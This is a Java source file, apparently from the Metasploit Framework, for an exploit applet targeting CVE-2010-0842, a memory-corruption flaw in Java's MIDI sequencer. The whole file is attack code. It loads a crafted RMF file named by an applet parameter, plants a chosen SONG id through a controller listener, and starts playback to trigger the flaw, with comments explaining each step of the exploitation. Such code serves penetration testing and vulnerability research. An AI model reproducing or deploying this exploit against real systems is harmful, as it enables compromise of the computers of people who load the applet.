metasploit-framework/external/source/exploits/CVE-2010-0842/MixerMidiApplet/MixerMidiApplet.java

86 lines
2.7 KiB
Java
Raw Normal View History

2012-02-15 22:32:31 +00:00
import java.applet.Applet;
import java.awt.Graphics;
import java.io.*;
import java.net.*;
import javax.sound.midi.*;
import com.sun.media.sound.*;
import javax.sound.midi.*;
public class MixerMidiApplet extends Applet {
Sequencer sequencer = null;
Sequence mySeq = null;
@Override
public void start() {
//What midi file do we need to play.. ?
String filename = getParameter("MIDIFILE");
// Main code, its in a try thanks to all the calls that
// might theoretically go wrong.
try {
// Get a list of midi devices installed. We added our own device
// (well actually only a device provider) that returns a
// MixerSequencer. Another option would be to use the
// default RealtimeSequencer and then use a RMF midifile,
// that way the RealtimeSequencer will be using a MixerSequencer.
// But then we need our own MidiFileReader and return
// the correct MidiFile info, this is much easier :)
MidiDevice.Info[] infos = MidiSystem.getMidiDeviceInfo();
// infos[0] should be our MixerSequencerProvider
MidiDevice mixer = MidiSystem.getMidiDevice(infos[0]);
// Turn it into a sequencer
sequencer = (Sequencer)mixer;
// Open it
sequencer.open();
// Get the input stream from the midi file so we
// can use that in setSequencer
InputStream midistream = getClass().getResourceAsStream(filename);
//We need to convert the InputStream to an byteArrayInputStream
// to avoid 'ERROR! java.io.IOException: mark/reset not supported'
// exceptions
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int c;
while((c = midistream.read(buf)) != -1) {
bos.write(buf, 0, c);
}
ByteArrayInputStream bamidistream = new ByteArrayInputStream(bos.toByteArray());
// This will call nOpenRmfSequencer wich will the RMF SONG BlockID
// as our pSong->userReference
sequencer.setSequence(bamidistream);
// We add a controler at the first array field.
MyController mc = new MyController();
// This will fil the right tables, and add our newly found
// SONG id (in the .rmf file) where we want it.
sequencer.addControllerEventListener(mc, new int[] {0});
// Start playing the midi file, then find a nice
// 00 B0 80 00 secquence and make us happy
sequencer.start();
} catch (Exception ex) {
System.out.println("ERROR! " + ex);
}
}
public void run() {
}
}